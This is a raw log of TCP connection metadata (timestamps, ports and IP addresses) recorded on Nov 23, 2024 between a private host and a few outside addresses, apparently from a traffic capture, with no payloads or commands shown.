Nov 23, 2024 19:52:24.605106115 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.605633974 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.605648041 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.608300924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.608418941 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.608453989 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.608572006 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.616878986 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.616961956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.617022991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.625360966 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.625489950 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.681746006 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.682224035 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.682238102 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.682637930 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.682642937 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.707139969 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.707587004 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.707626104 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.709163904 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.709172010 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.715152979 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.715261936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.715302944 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.715431929 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.715512037 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.716275930 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.716275930 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:24.716301918 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.716312885 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:24.719635010 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.719646931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.723855019 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.724916935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.725018978 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.725523949 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.733448029 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.733524084 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.733547926 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.733581066 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.741967916 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.742057085 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.742095947 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.742115021 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.750519991 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.750621080 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.781913042 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.782028913 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.782073975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.782363892 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.840612888 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.840732098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.840796947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.843713045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.844862938 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.844990969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.845211983 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.853404999 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.853477955 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.853662968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.861903906 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.861999035 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.862031937 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.862165928 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.870443106 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.870556116 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.870562077 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.870685101 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.878987074 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.879087925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.879103899 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.879195929 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.887433052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.887631893 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.965956926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.966021061 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.966048956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.966142893 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.969775915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.969839096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.969861984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.969974041 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.977435112 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.977509975 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.977559090 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.977627039 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.983179092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.983268976 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.983297110 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.983385086 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.990847111 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.990919113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.991106033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.998478889 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.998577118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:24.998593092 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:24.998688936 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.005304098 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.005397081 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.005605936 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.005645990 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.005645990 CET	49744	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.005669117 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.005680084 CET	443	49744	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.006107092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.006294966 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.008297920 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.008332014 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.008526087 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.008641958 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.008655071 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.072546959 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.072577000 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.072592974 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.072609901 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.072653055 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.072685003 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.072716951 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.091284037 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.091299057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.091381073 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.095187902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.095202923 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.095421076 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.102736950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.102874994 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.102895021 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.102998972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.108458042 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.108608007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.108616114 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.108819008 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.115437984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.115452051 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.115530968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.118784904 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.118859053 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.119062901 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.119062901 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.119149923 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.119168043 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.121761084 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.121762037 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.121823072 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.121833086 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.121891022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.121920109 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.121941090 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.122129917 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.122150898 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.127085924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.127104998 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.127140045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.127190113 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.127341986 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.127341986 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.127649069 CET	49743	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.127656937 CET	443	49743	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.129825115 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.129847050 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.130249023 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.130249023 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.130278111 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.155622959 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.155684948 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.155838966 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.155838966 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.156017065 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.156028986 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.157769918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.157794952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.157798052 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.157828093 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.157852888 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.157852888 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.157891989 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.158020973 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.158036947 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.162009954 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.162094116 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.162220955 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.162220955 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.162281990 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.162286997 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.164052963 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.164064884 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.164124966 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.164287090 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:25.164299965 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:25.216428995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.216501951 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.216682911 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.219057083 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.219177008 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.219701052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.219785929 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.219803095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.220005035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.224993944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.225132942 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.225143909 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.225188017 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.230372906 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.230408907 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.230434895 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.230987072 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.235739946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.235840082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.235877991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.235965014 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.241024017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.241152048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.241218090 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.241322994 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.246448994 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.246488094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.246524096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.246668100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.274346113 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.274374008 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.274470091 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.274470091 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.274486065 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.274583101 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.320044041 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.320060968 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.320156097 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.320182085 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.320233107 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.341605902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.341630936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.341685057 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.344249964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.344300985 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.344861031 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.344886065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.344926119 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.344926119 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.347965002 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.348010063 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.348062038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.348102093 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.353344917 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.353445053 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.353456974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.353513002 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.358685970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.358731985 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.358789921 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.358839035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.364053965 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.364099979 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.364141941 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.364186049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.369416952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.369508982 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.369551897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.374782085 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.374834061 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.462366104 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.462388992 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.462436914 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.462477922 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.462490082 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.462688923 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.467318058 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.467367887 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.467417002 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.467459917 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.469939947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.470000982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.470499039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.470546961 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.470551014 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.470591068 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.473689079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.473733902 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.473799944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.473849058 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.479089022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.479149103 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.479186058 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.479228020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.484420061 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.484472990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.484535933 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.484589100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.489658117 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.489679098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.489711046 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.489744902 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.494981050 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.495012999 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.495033979 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.495064974 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.497931957 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.497953892 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.498003960 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.498017073 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.498060942 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.498069048 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.500190020 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.500232935 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.526410103 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.526478052 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.526479959 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.526509047 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.526540041 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.526572943 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.530242920 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.530322075 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.531030893 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.531100988 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.568393946 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.568414927 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.568485975 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.568501949 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.568516016 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.568574905 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.574659109 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.574680090 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.574995041 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.575051069 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.592289925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.592401028 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.592417955 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.592567921 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.594649076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.594779968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.594832897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.599339008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.599386930 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.599395990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.599426985 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.602457047 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.604279995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.604347944 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.604355097 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.604398966 CET	49736	80	192.168.2.6	185.215.113.206
